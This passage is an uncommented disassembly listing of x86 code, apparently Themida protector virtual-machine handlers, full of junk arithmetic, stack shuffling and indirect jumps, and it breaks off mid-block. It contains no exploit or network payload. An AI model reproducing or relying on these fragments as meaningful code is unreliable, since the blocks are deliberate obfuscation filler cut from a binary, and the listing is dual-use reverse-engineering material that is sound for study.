loc_559369: ; CODE XREF: Themida_:00561A5Dj
mov esi, 66A21BF9h
neg esi
neg esi
shl esi, 7
sub esi, 5E29174h
mov edx, esi
jmp loc_554529
; ---------------------------------------------------------------------------
loc_559382: ; CODE XREF: Themida_:0056429Bj
not al
jmp loc_559A3B
; ---------------------------------------------------------------------------
loc_559389: ; CODE XREF: Themida_:005511F3j
pop eax
sub edx, edi
mov edi, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5519E9
; ---------------------------------------------------------------------------
loc_5593A0: ; CODE XREF: Themida_:0055F700j
add eax, 2
jmp loc_56015A
; ---------------------------------------------------------------------------
loc_5593AA: ; CODE XREF: Themida_:005616A0j
sub ebx, 9CC6ED6h
jmp loc_557554
; ---------------------------------------------------------------------------
loc_5593B5: ; CODE XREF: Themida_:00564D5Dj
mov [esp], ebx
mov ebx, 9DA0C52h
and ebp, ebx
jmp loc_558D29
; ---------------------------------------------------------------------------
loc_5593C4: ; CODE XREF: Themida_:00559C2Cj
mov [esp], ebx
mov ebx, 21CF1533h
jmp loc_5536C7
; ---------------------------------------------------------------------------
loc_5593D1: ; CODE XREF: Themida_:0055E33Ej
pop dword ptr [esp]
jmp loc_55B470
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push ebx
jmp loc_55949B
; ---------------------------------------------------------------------------
loc_5593E2: ; CODE XREF: Themida_:00560B84j
pop dword ptr [esp]
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
add eax, 4
push ebx
jmp loc_5556F9
; ---------------------------------------------------------------------------
loc_5593FA: ; CODE XREF: Themida_:0055DBBEj
sub ebp, 4
xchg ebp, [esp]
jmp loc_55B217
; ---------------------------------------------------------------------------
loc_559408: ; CODE XREF: Themida_:00552C07j
push esi
push 0BDA77C2h
mov esi, [esp]
add esp, 4
shr esi, 2
jmp loc_557598
; ---------------------------------------------------------------------------
loc_55941F: ; CODE XREF: Themida_:00561FE1j
pop ebx
add esp, 4
push dword ptr [esp]
pop ecx
add esp, 4
xchg edx, [esp]
jmp loc_557CCD
; ---------------------------------------------------------------------------
loc_559435: ; CODE XREF: Themida_:00563C0Bj
mov dx, [esp]
push eax
jmp loc_55BE58
; ---------------------------------------------------------------------------
loc_55943F: ; CODE XREF: Themida_:0055D827j
add esp, 4
jmp loc_5534F3
; ---------------------------------------------------------------------------
loc_559447: ; CODE XREF: Themida_:00556E61j
push 76EFh
mov [esp], esi
push ebx
mov ebx, 4
mov esi, ebx
jmp loc_55CACD
; ---------------------------------------------------------------------------
loc_55945C: ; CODE XREF: Themida_:0055CBF6j
push edi
mov edi, 58737424h
jmp loc_5520C5
; ---------------------------------------------------------------------------
mov cx, [esp]
push 141Bh
mov [esp], edi
push esp
pop edi
jmp loc_56329C
; ---------------------------------------------------------------------------
loc_55947A: ; CODE XREF: Themida_:005521BCj
sub edx, 107B1CE6h
add edx, esi
add edx, 107B1CE6h
add edx, 72B07B56h
pop esi
push edi
sub esp, 4
jmp loc_5511E4
; ---------------------------------------------------------------------------
loc_55949B: ; CODE XREF: Themida_:005593DDj
mov ebx, 29760E7Bh
sub [esp+4], ebx
pop ebx
push dword ptr [esp]
jmp loc_556F55
; ---------------------------------------------------------------------------
loc_5594AD: ; CODE XREF: Themida_:0055C8E5j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push ebx
jmp loc_551A08
; ---------------------------------------------------------------------------
loc_5594C8: ; CODE XREF: Themida_:005619EEj
xchg edi, [esp]
pop esp
jmp loc_5528E6
; ---------------------------------------------------------------------------
loc_5594D1: ; CODE XREF: Themida_:00557979j
push esp
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_55B546
; ---------------------------------------------------------------------------
loc_5594E1: ; CODE XREF: Themida_:00565266j
inc edx
jmp loc_552422
; ---------------------------------------------------------------------------
loc_5594E7: ; CODE XREF: Themida_:005644F3j
sub ebx, ecx
add ebx, 7A659F2h
pop ecx
push small word ptr [eax]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5594F8: ; CODE XREF: Themida_:00563B9Bj
add eax, edx
jmp loc_55234F
; ---------------------------------------------------------------------------
loc_5594FF: ; CODE XREF: Themida_:00551BC6j
and edi, 603B7708h
shr edi, 6
sub edi, 0B171E933h
xor ebx, edi
jmp loc_551D5D
; ---------------------------------------------------------------------------
loc_559515: ; CODE XREF: Themida_:00558421j
pop eax
push 2980h
jmp loc_5508A2
; ---------------------------------------------------------------------------
loc_559520: ; CODE XREF: Themida_:00554B92j
sub edi, 1E5D1B7Ch
add edi, eax
add edi, 1E5D1B7Ch
pop eax
push edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
push eax
jmp loc_556032
; ---------------------------------------------------------------------------
loc_55953E: ; CODE XREF: Themida_:00559082j
mov edi, esp
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_5607FF
; ---------------------------------------------------------------------------
loc_55955A: ; CODE XREF: Themida_:00550478j
sub cl, 0F1h
pop eax
add cl, ah
add cl, 7Ch
sub cl, 0DEh
jmp loc_55A3AC
; ---------------------------------------------------------------------------
loc_55956B: ; CODE XREF: Themida_:00552899j
push ebp
mov ebp, 60B16ABBh
add ebp, 6721241Bh
not ebp
push ecx
mov ecx, 45FA190Ah
jmp loc_5511CB
; ---------------------------------------------------------------------------
loc_559584: ; CODE XREF: Themida_:005526ACj
xchg edi, [esp]
pop esp
jmp loc_55DAA3
; ---------------------------------------------------------------------------
loc_55958D: ; CODE XREF: Themida_:0055A6ECj
pop dx
pop ecx
mov ecx, [esp]
add esp, 4
jmp loc_5599D8
; ---------------------------------------------------------------------------
loc_55959E: ; CODE XREF: Themida_:00563EF4j
add eax, 10AB09EEh
add eax, edx
sub eax, 10AB09EEh
sub eax, 631536ECh
push dword ptr [esp]
jmp loc_561009
; ---------------------------------------------------------------------------
loc_5595B7: ; CODE XREF: Themida_:0055DD7Bj
add edx, 4
add edx, 4
jmp loc_56204F
; ---------------------------------------------------------------------------
loc_5595C8: ; CODE XREF: Themida_:00557E4Fj
mov [esp], ebx
mov bh, 0BBh
xor al, bh
pop ebx
push ecx
push ebx
mov bl, 0F2h
and bl, 1Ah
jmp loc_564A15
; ---------------------------------------------------------------------------
loc_5595DC: ; CODE XREF: Themida_:00558DDCj
pop edx
neg edi
sub edi, 86B06185h
jmp loc_560619
; ---------------------------------------------------------------------------
loc_5595EA: ; CODE XREF: Themida_:005611BBj
pop edi
add esp, 4
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 2F08h
mov [esp], edi
push ecx
mov ecx, 59316A3Bh
mov edi, ecx
pop ecx
xor edi, 38D43F70h
sub edi, 6EC63795h
push ebx
jmp loc_5533FD
; ---------------------------------------------------------------------------
loc_559624: ; CODE XREF: Themida_:00558909j
sub bl, 4Bh
movzx eax, al
jmp loc_560673
; ---------------------------------------------------------------------------
loc_55962F: ; CODE XREF: Themida_:005519B3j
mov [esp], ebx
jmp loc_558819
; ---------------------------------------------------------------------------
loc_559637: ; CODE XREF: Themida_:0055F52Ej
xor edi, 424F1398h
pop eax
push edx
mov edx, 213B1459h
add edi, edx
pop edx
xor edi, 99078886h
sub edx, edi
pop edi
push edx
jmp loc_5616CD
; ---------------------------------------------------------------------------
loc_559656: ; CODE XREF: Themida_:00552D99j
pop esi
add eax, esi
pop esi
push ecx
mov ecx, 52674603h
sub eax, ecx
jmp loc_55F7D8
; ---------------------------------------------------------------------------
loc_559667: ; CODE XREF: Themida_:00560B1Bj
sub eax, 33526C00h
jmp loc_55285E
; ---------------------------------------------------------------------------
loc_559671: ; CODE XREF: Themida_:00553E10j
add eax, edi
add eax, 6B24FA0h
pop edi
push eax
neg dword ptr [esp]
mov eax, [esp]
add esp, 4
neg eax
inc eax
push ebx
jmp loc_563465
; ---------------------------------------------------------------------------
loc_55968F: ; CODE XREF: Themida_:00555D37j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push eax
jmp loc_55BD75
; ---------------------------------------------------------------------------
loc_5596A4: ; CODE XREF: Themida_:0055A55Bj
sub esi, 4D73CC0h
sub esi, 5F724417h
jmp loc_561E87
; ---------------------------------------------------------------------------
loc_5596B5: ; CODE XREF: Themida_:00555452j
pop edx
add ecx, ebx
sub ecx, 0D07928h
pop ebx
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
jmp loc_551C25
; ---------------------------------------------------------------------------
loc_5596D0: ; CODE XREF: Themida_:005629BEj
xchg edi, [esp]
pop esp
shl dword ptr [esp], cl
pushf
jmp loc_55DCC0
; ---------------------------------------------------------------------------
loc_5596DD: ; CODE XREF: Themida_:0055CFB2j
pop ebx
sub esp, 4
mov [esp], eax
mov eax, 3CC51C42h
sub ebx, eax
pop eax
jmp loc_558D91
; ---------------------------------------------------------------------------
loc_5596F1: ; CODE XREF: Themida_:00555AC4j
and esi, 6B3D0B07h
xor esi, 45A63DADh
jmp loc_56499E
; ---------------------------------------------------------------------------
loc_559702: ; CODE XREF: Themida_:00563186j
push dword ptr [esp]
pop eax
add esp, 4
shl eax, 8
jmp loc_55DA8D
; ---------------------------------------------------------------------------
loc_559714: ; CODE XREF: Themida_:005618B0j
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_5573AA
; ---------------------------------------------------------------------------
loc_559724: ; CODE XREF: Themida_:0055915Bj
push ecx
push edx
jmp loc_565BBD
; ---------------------------------------------------------------------------
loc_55972B: ; CODE XREF: Themida_:00559DC2j
sub ebx, 4
push ebx
jmp loc_563F41
; ---------------------------------------------------------------------------
loc_559734: ; CODE XREF: Themida_:00564F8Aj
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55974F: ; CODE XREF: Themida_:0055441Aj
mov [esp], ebp
mov ebp, 2
push 5A9Fh
mov [esp], eax
mov eax, 462154D8h
jmp loc_55804C
; ---------------------------------------------------------------------------
loc_559769: ; CODE XREF: Themida_:00560993j
mov eax, [esp]
jmp loc_554745
; ---------------------------------------------------------------------------
loc_559771: ; CODE XREF: Themida_:0055E92Fj
push dword ptr [esp]
pop ecx
add esp, 4
neg ebp
add ebp, 60154EDFh
push eax
mov eax, 820B3EAEh
add ebp, eax
jmp loc_55D6F6
; ---------------------------------------------------------------------------
loc_55978D: ; CODE XREF: Themida_:0055DA01j
push ebx
jmp loc_55A1A7
; ---------------------------------------------------------------------------
loc_559793: ; CODE XREF: Themida_:005630A9j
add al, bl
jmp loc_552AD8
; ---------------------------------------------------------------------------
loc_55979A: ; CODE XREF: Themida_:005591F1j
mov esi, 53880FA9h
jmp loc_561988
; ---------------------------------------------------------------------------
loc_5597A4: ; CODE XREF: Themida_:0055AA39j
shl eax, 8
jmp loc_556E2F
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push 6891h
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_55B497
; ---------------------------------------------------------------------------
loc_5597CC: ; CODE XREF: Themida_:00555950j
pop esi
pop dword ptr [esp]
pop esp
push ecx
jmp loc_554C3A
; ---------------------------------------------------------------------------
loc_5597D7: ; CODE XREF: Themida_:0055A81Bj
push 4AD9h
jmp $+5
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5642EC
; ---------------------------------------------------------------------------
loc_5597ED: ; CODE XREF: Themida_:0055688Ej
mov ecx, 2
sub ebp, 281E12F1h
sub ebp, ecx
push ebx
mov ebx, 1F4E1A56h
jmp loc_553F60
; ---------------------------------------------------------------------------
loc_559805: ; CODE XREF: Themida_:0055800Fj
movzx eax, al
jmp loc_55187E
; ---------------------------------------------------------------------------
loc_55980D: ; CODE XREF: Themida_:00550AFBj
pop esp
sub esp, 4
mov [esp], ebx
push ebp
push 62FE697Ch
mov ebp, [esp]
add esp, 4
jmp loc_553A62
; ---------------------------------------------------------------------------
loc_55982B: ; CODE XREF: Themida_:005534A4j
shr edx, 8
jmp loc_55F18D
; ---------------------------------------------------------------------------
loc_559833: ; CODE XREF: Themida_:005648B1j
sub edx, eax
pop eax
sub ebx, edx
jmp loc_55C57F
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3455h
mov [esp], ecx
push 0B22h
mov [esp], esp
push ecx
mov ecx, 44847A5Fh
not ecx
jmp loc_55D7A2
; ---------------------------------------------------------------------------
loc_55985E: ; CODE XREF: Themida_:005537AEj
add al, dh
pop edx
sub al, ch
push edx
mov dl, 20h
sub al, dl
pop edx
pop cx
add al, 0C3h
add al, ch
sub al, 0C3h
add al, 0D1h
mov cx, [esp]
add esp, 2
push 7F20h
mov [esp], ecx
mov cl, 13h
shr cl, 2
xor cl, 0ADh
push eax
mov ah, 51h
xor ah, 1Fh
and ah, 1Dh
jmp loc_55C51B
; ---------------------------------------------------------------------------
loc_559898: ; CODE XREF: Themida_:005531D7j
add eax, ebp
mov ebp, [esp]
add esp, 4
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5598BA: ; CODE XREF: Themida_:00564739j
sub edi, 3D917877h
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_551E52
; ---------------------------------------------------------------------------
loc_5598D0: ; CODE XREF: Themida_:00559DDDj
xchg ecx, [esp]
pop esp
push edx
push esp
pop edx
push eax
mov eax, 48E3448Dh
add eax, 5AAA58FDh
neg eax
add eax, 0A38D9D8Eh
add edx, eax
pop eax
push ebp
jmp loc_558F7D
; ---------------------------------------------------------------------------
loc_5598F2: ; CODE XREF: Themida_:0055D236j
push 7A6D15AEh
pop eax
and eax, 9D10793h
jmp loc_560B18
; ---------------------------------------------------------------------------
loc_559902: ; CODE XREF: Themida_:0056101Ej
add ecx, 0FFFFFFFFh
xor ecx, 6A23811Bh
mov esi, ecx
pop ecx
sub esp, 4
mov [esp], esi
push ebx
mov ebx, 25CD10DBh
mov esi, 4D8F08B3h
add esi, ebx
pop ebx
mov edi, esi
jmp loc_564928
; ---------------------------------------------------------------------------
loc_559929: ; CODE XREF: Themida_:0055B8C2j
sub esp, 4
mov [esp], esi
jmp loc_554F5E
; ---------------------------------------------------------------------------
loc_559934: ; CODE XREF: Themida_:00550F3Aj
push ebp
push 779E72E3h
mov ebp, [esp]
jmp loc_55745E
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
jmp loc_560F86
; ---------------------------------------------------------------------------
loc_55994B: ; CODE XREF: Themida_:00563E8Aj
push edi
mov edi, esp
jmp loc_555342
; ---------------------------------------------------------------------------
loc_559953: ; CODE XREF: Themida_:0055E726j
mov [esp], ax
push 3B53h
mov [esp], ecx
mov ch, 0D9h
mov ah, 0CEh
jmp loc_55C80B
; ---------------------------------------------------------------------------
loc_559968: ; CODE XREF: Themida_:00552BE5j
add esp, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
idiv ecx
push 2D8Ch
jmp loc_558C12
; ---------------------------------------------------------------------------
loc_559983: ; CODE XREF: Themida_:0055495Cj
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], ecx
mov cl, 70h
sub al, cl
push dword ptr [esp]
jmp loc_555658
; ---------------------------------------------------------------------------
loc_55999C: ; CODE XREF: Themida_:0055D05Ej
pop ebx
sub ebx, ebp
jmp loc_5619FD
; ---------------------------------------------------------------------------
loc_5599A4: ; CODE XREF: Themida_:0055E6C6j
xor esi, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5599B5: ; CODE XREF: Themida_:00565163j
mov esp, [esp]
push 22BBh
mov [esp], edx
push esp
pop edx
push edi
mov edi, 25CF45DAh
add edi, 5EAD6DCAh
xchg ebp, edi
not ebp
inc ebp
jmp loc_560316
; ---------------------------------------------------------------------------
loc_5599D8: ; CODE XREF: Themida_:00559599j
sub bl, 0F5h
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
mov ebx, esp
push 4D9Dh
mov [esp], edx
push esi
mov esi, 698A666Ah
jmp loc_56053F
; ---------------------------------------------------------------------------
loc_5599FD: ; CODE XREF: Themida_:00559C79j
sub ebx, esi
jmp loc_55206D
; ---------------------------------------------------------------------------
loc_559A04: ; CODE XREF: Themida_:005560CDj
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
jmp loc_55EE26
; ---------------------------------------------------------------------------
loc_559A17: ; CODE XREF: Themida_:00551D48j
mov dh, 0F9h
xor al, dh
jmp loc_560201
; ---------------------------------------------------------------------------
loc_559A20: ; CODE XREF: Themida_:00551BB2j
xchg eax, ebp
push eax
mov eax, 632965DAh
add eax, 22C87E9Eh
xor eax, 51C83F6Ch
and eax, 3CEE46F8h
jmp loc_5590EF
; ---------------------------------------------------------------------------
loc_559A3B: ; CODE XREF: Themida_:00559384j
shl al, 8
push ecx
jmp loc_557C42
; ---------------------------------------------------------------------------
loc_559A44: ; CODE XREF: Themida_:005505E2j
add esi, 4
add esi, 4
jmp loc_558950
; ---------------------------------------------------------------------------
loc_559A55: ; CODE XREF: Themida_:0055C34Bj
xor ch, 0D7h
add ch, 7Ah
add al, ch
pop ecx
pop ebx
push 445h
mov [esp], esi
mov esi, esp
sub esp, 4
mov [esp], edi
jmp loc_55361F
; ---------------------------------------------------------------------------
loc_559A74: ; CODE XREF: Themida_:00558802j
xor ebp, [esp]
mov esp, [esp]
mov [esp], ebx
mov bl, 0CFh
sub bl, 5Eh
push edx
mov dh, 94h
sub bl, 52h
sub bl, dh
add bl, 52h
jmp loc_55771D
; ---------------------------------------------------------------------------
loc_559A92: ; CODE XREF: Themida_:0055EE3Cj
mov cl, 68h
add cl, 8Ah
shr cl, 1
shl cl, 6
add cl, 45h
mov ah, cl
pop ecx
xor ah, 71h
neg ah
push bx
jmp loc_55381F
; ---------------------------------------------------------------------------
loc_559AAE: ; CODE XREF: Themida_:00556E1Dj
pop esi
xor eax, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push edi
push 6A8Dh
jmp loc_558ADE
; ---------------------------------------------------------------------------
loc_559AC6: ; CODE XREF: Themida_:0055B8FAj
not cl
and cl, 0FCh
or cl, 45h
add cl, 33h
add bl, cl
pop ecx
add bl, al
sub bl, 8
push eax
push ecx
push esp
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
sub ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], bx
sub esp, 4
jmp loc_56091D
; ---------------------------------------------------------------------------
loc_559B05: ; CODE XREF: Themida_:0055F168j
pop ecx
not ebx
sub esp, 4
mov [esp], edx
push edi
sub esp, 4
mov [esp], esi
mov esi, 721402ABh
jmp loc_55E201
; ---------------------------------------------------------------------------
loc_559B22: ; CODE XREF: Themida_:0055DCBBj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55585C
; ---------------------------------------------------------------------------
loc_559B31: ; CODE XREF: Themida_:005555DDj
pop eax
xchg dl, bh
push bx
mov bl, dl
not bl
mov dl, bl
pop bx
push cx
mov ch, dl
push ecx
mov ch, bh
push ebx
mov bh, ch
mov dl, bh
pop ebx
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_550EB9
; ---------------------------------------------------------------------------
loc_559B66: ; CODE XREF: Themida_:0055207Ej
not edx
jmp loc_554FE1
; ---------------------------------------------------------------------------
loc_559B6D: ; CODE XREF: Themida_:00562B29j
push edx
push edi
push 977409h
pop edi
not edi
xor edi, 2EDB3B03h
jmp loc_558DAE
; ---------------------------------------------------------------------------
loc_559B82: ; CODE XREF: Themida_:0055D5ABj
mov [esp], esi
mov esi, 4EE27E66h
add esi, 0FFFFFFFFh
xchg ebx, esi
not ebx
xchg ebx, esi
push ecx
mov ecx, 0B11D819Eh
jmp loc_55F937
; ---------------------------------------------------------------------------
loc_559BA1: ; CODE XREF: Themida_:00561010j
mov ebp, esp
add ebp, 4
jmp loc_560831
; ---------------------------------------------------------------------------
loc_559BAE: ; CODE XREF: Themida_:00559E9Bj
add ecx, ebx
add ecx, 42A258F4h
push eax
mov eax, 0F3F5301h
sub ecx, eax
pop eax
jmp loc_5578DE
; ---------------------------------------------------------------------------
loc_559BC4: ; CODE XREF: Themida_:0055592Bj
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push eax
jmp loc_555D68
; ---------------------------------------------------------------------------
loc_559BDA: ; CODE XREF: Themida_:00551CB5j
mov [esp], eax
mov ah, 0EBh
or ah, 0FAh
neg ah
and ah, 8Bh
push edx
mov dl, 0F3h
sub esp, 2
mov [esp], cx
jmp loc_55A3F2
; ---------------------------------------------------------------------------
loc_559BF9: ; CODE XREF: Themida_:0055C108j
push ebp
mov ebp, 39A14D50h
xor ebp, 6252304Dh
push eax
mov eax, 0C5C09D76h
jmp loc_55DDE5
; ---------------------------------------------------------------------------
loc_559C10: ; CODE XREF: Themida_:00563C29j
sub esi, 4
xchg esi, [esp]
jmp loc_55C3A2
; ---------------------------------------------------------------------------
loc_559C1E: ; CODE XREF: Themida_:00551134j
mov ebx, 6AB82E38h
jmp loc_55A219
; ---------------------------------------------------------------------------
loc_559C28: ; CODE XREF: Themida_:00554FBFj
push ebp
sub esp, 4
jmp loc_5593C4
; ---------------------------------------------------------------------------
loc_559C31: ; CODE XREF: Themida_:005602A7j
shr bl, 3
neg bl
neg bl
jmp loc_55D363
; ---------------------------------------------------------------------------
loc_559C3D: ; CODE XREF: Themida_:0055BCD8j
xor ebx, 74AD6D1Ch
add edi, 7855195Fh
sub edi, ebx
sub edi, 7855195Fh
mov ebx, [esp]
add esp, 4
add eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_563FDC
; ---------------------------------------------------------------------------
loc_559C6A: ; CODE XREF: Themida_:00562C25j
add ebx, 28FF46ACh
push edi
mov edi, 452848A4h
add ebx, edi
pop edi
jmp loc_5599FD
; ---------------------------------------------------------------------------
loc_559C7E: ; CODE XREF: Themida_:00554057j
add edi, 4
jmp loc_560CF8
; ---------------------------------------------------------------------------
loc_559C89: ; CODE XREF: Themida_:00556B95j
push ecx
mov ecx, 50413CE2h
mov eax, 32C0088Bh
xor eax, ecx
pop ecx
sub eax, 2B920664h
sub eax, edx
add eax, 2B920664h
mov edx, [esp]
add esp, 4
shl eax, cl
sub esp, 4
mov [esp], ebp
push ecx
mov ecx, 0FFFFFFFFh
mov ebp, ecx
pop ecx
push edx
mov edx, 6C8A2CD0h
sub edx, 6C54D430h
sub eax, edx
pop edx
add eax, 2A504280h
add eax, 306806ADh
add eax, ebp
sub eax, 306806ADh
sub eax, 2A504280h
push 7A1Dh
mov [esp], edx
push 3558A0h
jmp loc_556A98
; ---------------------------------------------------------------------------
loc_559CF4: ; CODE XREF: Themida_:00562C88j
mov eax, 4
mov ebx, eax
mov eax, [esp]
jmp loc_550985
; ---------------------------------------------------------------------------
loc_559D03: ; CODE XREF: Themida_:0055A3D7j
sub ecx, ebx
pop ebx
jmp loc_559310
; ---------------------------------------------------------------------------
loc_559D0B: ; CODE XREF: Themida_:00559D42j
xor eax, [esp]
mov esp, [esp]
jmp loc_561DE1
; ---------------------------------------------------------------------------
loc_559D16: ; CODE XREF: Themida_:0055EB6Ej
sub [esp], ch
jmp loc_559E84
; ---------------------------------------------------------------------------
loc_559D1E: ; CODE XREF: Themida_:005592A5j
pop esi
sub ax, bx
add ax, 32BDh
mov bx, [esp]
push 6FCEh
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_561B64
; ---------------------------------------------------------------------------
loc_559D3F: ; CODE XREF: Themida_:00550841j
xor [esp], eax
jmp loc_559D0B
; ---------------------------------------------------------------------------
loc_559D47: ; CODE XREF: Themida_:00553A26j
mov bl, 0D3h
push 12F9h
mov [esp], eax
mov ah, 0F3h
add bl, ah
pop eax
sub esp, 2
jmp loc_55E0B0
; ---------------------------------------------------------------------------
loc_559D61: ; CODE XREF: Themida_:00553D86j
push edi
jmp loc_550966
; ---------------------------------------------------------------------------
loc_559D67: ; CODE XREF: Themida_:005636D6j
push 0FFFFFBFFh
mov edx, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_5537B3
; ---------------------------------------------------------------------------
loc_559D82: ; CODE XREF: Themida_:00560825j
sub edi, 67EA5030h
push ebp
mov ebp, 32A10ED5h
xor edi, ebp
pop ebp
add edi, 932D4437h
jmp loc_55B034
; ---------------------------------------------------------------------------
loc_559D9C: ; CODE XREF: Themida_:005574BEj
pop esi
xchg edx, [esp]
jmp loc_552823
; ---------------------------------------------------------------------------
loc_559DA5: ; CODE XREF: Themida_:005579A6j
add edx, 2
jmp loc_554646
; ---------------------------------------------------------------------------
loc_559DB0: ; CODE XREF: Themida_:00562471j
push 1C99h
mov [esp], ebx
mov bh, 0D0h
dec bh
jmp loc_55A95B
; ---------------------------------------------------------------------------
loc_559DC1: ; CODE XREF: Themida_:0055795Ej
pop eax
jmp loc_55972B
; ---------------------------------------------------------------------------
loc_559DC7: ; CODE XREF: Themida_:0055661Aj
shr ecx, 2
jmp loc_553294
; ---------------------------------------------------------------------------
loc_559DCF: ; CODE XREF: Themida_:0055F7B3j
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5598D0
; ---------------------------------------------------------------------------
loc_559DE2: ; CODE XREF: Themida_:0055DC17j
mov edi, 62594773h
add dword ptr [esp+4], 2DF81F6Ch
sub [esp+4], edi
push edi
jmp loc_55CF80
; ---------------------------------------------------------------------------
loc_559DF9: ; CODE XREF: Themida_:005632C9j
pop ebp
jmp loc_5556DE
; ---------------------------------------------------------------------------
loc_559DFF: ; CODE XREF: Themida_:0055A136j
and ebp, 1617054Ah
push esi
mov esi, 3E1F302Dh
xor ebp, esi
mov esi, [esp]
add esp, 4
add esi, 0F7A343Bh
sub esi, 56625B3h
jmp loc_552DBC
; ---------------------------------------------------------------------------
loc_559E24: ; CODE XREF: Themida_:00559195j
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_552F5D
; ---------------------------------------------------------------------------
loc_559E38: ; CODE XREF: Themida_:0055645Aj
pop edi
add edi, 4
jmp loc_55EA92
; ---------------------------------------------------------------------------
loc_559E44: ; CODE XREF: Themida_:0055791Fj
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_55158A
; ---------------------------------------------------------------------------
loc_559E54: ; CODE XREF: Themida_:0055328Fj
add ebp, 61A42FD0h
jmp loc_5543EF
; ---------------------------------------------------------------------------
loc_559E5F: ; CODE XREF: Themida_:00562710j
add eax, ecx
sub eax, 5FD17DF4h
jmp loc_5557CA
; ---------------------------------------------------------------------------
loc_559E6B: ; CODE XREF: Themida_:00563C90j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push ebx
jmp loc_554CF0
; ---------------------------------------------------------------------------
loc_559E7D: ; CODE XREF: Themida_:00552E23j
pop ecx
inc ecx
jmp loc_554999
; ---------------------------------------------------------------------------
loc_559E84: ; CODE XREF: Themida_:00559D19j
sub byte ptr [esp], 7
jmp loc_5561ED
; ---------------------------------------------------------------------------
loc_559E8D: ; CODE XREF: Themida_:00564D55j
mov edi, eax
pop eax
sub ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_559BAE
; ---------------------------------------------------------------------------
loc_559EA0: ; CODE XREF: Themida_:0055DC6Fj
xor edx, 1ED2CCEBh
sub eax, 65562DCEh
sub eax, 2105521Fh
add eax, edx
push ecx
mov ecx, 2105521Fh
add eax, ecx
pop ecx
jmp loc_5575F5
; ---------------------------------------------------------------------------
loc_559EC0: ; CODE XREF: Themida_:00550ED0j
add esp, 4
inc eax
jmp loc_5553E8
; ---------------------------------------------------------------------------
loc_559EC9: ; CODE XREF: Themida_:00553B26j
xchg edx, [esp]
mov esp, [esp]
mov [esp], di
push small word ptr [esp+2]
pop di
pop small word ptr [esp]
not di
push edi
mov edi, esp
push eax
mov eax, 4
sub edi, 759128F9h
jmp loc_5572AA
; ---------------------------------------------------------------------------
loc_559EF5: ; CODE XREF: Themida_:00556A21j
sub al, 7Bh
add al, ch
jmp loc_55D58C
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push 5AE8h
mov [esp], eax
jmp loc_552380
; ---------------------------------------------------------------------------
loc_559F0F: ; CODE XREF: Themida_:005622CCj
pop ebp
push esi
mov esi, 5C0D22B3h
xor ebp, esi
pop esi
mov ecx, ebp
pop ebp
xor ecx, edi
jmp loc_558C98
; ---------------------------------------------------------------------------
loc_559F23: ; CODE XREF: Themida_:0055CFEEj
sub ecx, 20755484h
add ecx, ebp
add ecx, 20755484h
mov ebp, [esp]
add esp, 4
push edi
sub esp, 4
mov [esp], esi
push edi
mov edi, 33512254h
xor edi, 31A801E2h
mov esi, edi
pop edi
sub esi, 0FFFFFFFFh
jmp loc_55A950
; ---------------------------------------------------------------------------
loc_559F55: ; CODE XREF: Themida_:0055716Aj
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
add eax, 2
xchg eax, [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_559F72: ; CODE XREF: Themida_:0055D10Dj
mov edi, [esp]
add esp, 4
add ebp, 70342BA2h
add ebp, ecx
sub ebp, 70342BA2h
push dword ptr [esp]
pop ecx
add esp, 4
push esi
jmp loc_5623DD
; ---------------------------------------------------------------------------
loc_559F96: ; CODE XREF: Themida_:0055D32Cj
xor eax, 22A57A03h
mov esi, eax
mov eax, [esp]
